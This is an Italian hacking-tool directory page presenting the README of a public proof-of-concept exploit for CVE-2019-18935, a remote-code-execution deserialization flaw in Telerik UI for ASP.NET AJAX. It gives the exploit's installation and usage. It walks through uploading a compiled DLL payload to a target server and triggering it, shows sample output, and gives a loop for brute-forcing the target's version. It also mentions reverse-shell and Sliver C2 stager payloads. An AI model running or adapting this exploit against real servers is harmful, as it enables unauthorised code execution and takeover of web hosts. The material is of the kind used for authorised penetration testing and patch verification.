Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-18935 — Exploit RCE per una vulnerabilità di deserializzazione JSON in .NET in Telerik UI per ASP.NET AJAX. | Kitploit
Strumenti/GitHubGitHub/noperator/cve-2019-18935
Analisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed TeamingSviluppo Payload
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Exploit RCE per una vulnerabilità di deserializzazione JSON in .NET in Telerik UI per ASP.NET AJAX.

Vedi Repository
37388134 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-18935

Exploit proof-of-concept per una vulnerabilità di deserializzazione JSON in .NET in Telerik UI for ASP.NET AJAX che consente l'esecuzione remota di codice.

Descrizione

Telerik UI for ASP.NET AJAX è una suite di componenti dell'interfaccia utente ampiamente utilizzata per applicazioni web. Deserializza in modo non sicuro oggetti JSON, il che comporta l'esecuzione remota di codice arbitrario sull'host sottostante del software. Per maggiori informazioni, vedere:

  • Il talk DerpCon .NET Roulette (slide) che illustra ulteriori nozioni fondamentali sullo sfruttamento della deserializzazione non sicura, applica quanto illustrato a questo exploit e mostra alcuni suggerimenti e trucchi per ottenere shell su applicazioni web ASP.NET.
  • Il write-up completo su Bishop Fox, che include una panoramica completa di questa vulnerabilità e i dettagli dello sfruttamento per questo problema (insieme alle istruzioni di patch).

Per iniziare

Prerequisiti

Dovrai avere installati Visual Studio e .NET Framework SDK per compilare payload DLL di assembly .NET in modalità mista usando build-dll.bat.

Installazione

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

Questo exploit sfrutta la logica di crittografia di RAU_crypto. La classe RAUCipher all'interno di RAU_crypto.py dipende da PyCryptodome, un sostituto drop-in del modulo PyCrypto, abbandonato. PyCryptodome e PyCrypto creano problemi se installati nello stesso ambiente, quindi il modo migliore per soddisfare questa dipendenza è installare il modulo in un ambiente virtuale, come mostrato sopra.

Configurazione

Indica alla riga 17 di build-dll.bat il percorso della tua installazione di Visual Studio.

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

Utilizzo

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

Compila il payload DLL di assembly .NET in modalità mista

Alcuni payload (ad es., reverse-shell.c e sliver-stager.c) richiedono di impostare i campi HOST e PORT in modo che puntino al tuo server C2: assicurati di farlo!

In un ambiente Windows con Visual Studio installato, usa build-dll.bat per generare DLL di assembly in modalità mista a 32 e 64 bit da usare come payload durante la deserializzazione. Puoi opzionalmente specificare un'architettura della CPU di destinazione come secondo argomento della CLI (ad es., x86).

build-dll.bat sleep.c

Carica il payload sul target e caricalo nell'applicazione

Passa la DLL generata sopra a CVE-2019-18935.py, che caricherà la DLL in una directory sul server di destinazione (a condizione che il server web abbia i permessi di scrittura in quella directory) e poi caricherà la DLL nell'applicazione tramite l'exploit di deserializzazione non sicura.

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

Nell'esempio sopra, l'applicazione ha impiegato almeno 10 secondi a rispondere, indicando che il payload DLL ha invocato con successo Sleep(10000).

Forza bruta della versione di Telerik UI

Come descritto nel talk DerpCon .NET Roulette (39:46), possiamo forzare la versione di Telerik UI specificando solo la versione maggiore dell'assembly Telerik.Web.UI (cioè la parte 2017 della stringa di versione completa 2017.2.503.40) durante il caricamento di un file. Questa tecnica riduce drasticamente lo spazio di ricerca rispetto al brute-forcing di ogni specifica release di questo software e, come ulteriore vantaggio, può persino rilevare versioni non elencate esplicitamente nella cronologia delle release di questo software. Scopri di più sul versionamento degli assembly .NET su MSDN.

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Impianto con il framework Sliver C2

Scarica lo strumento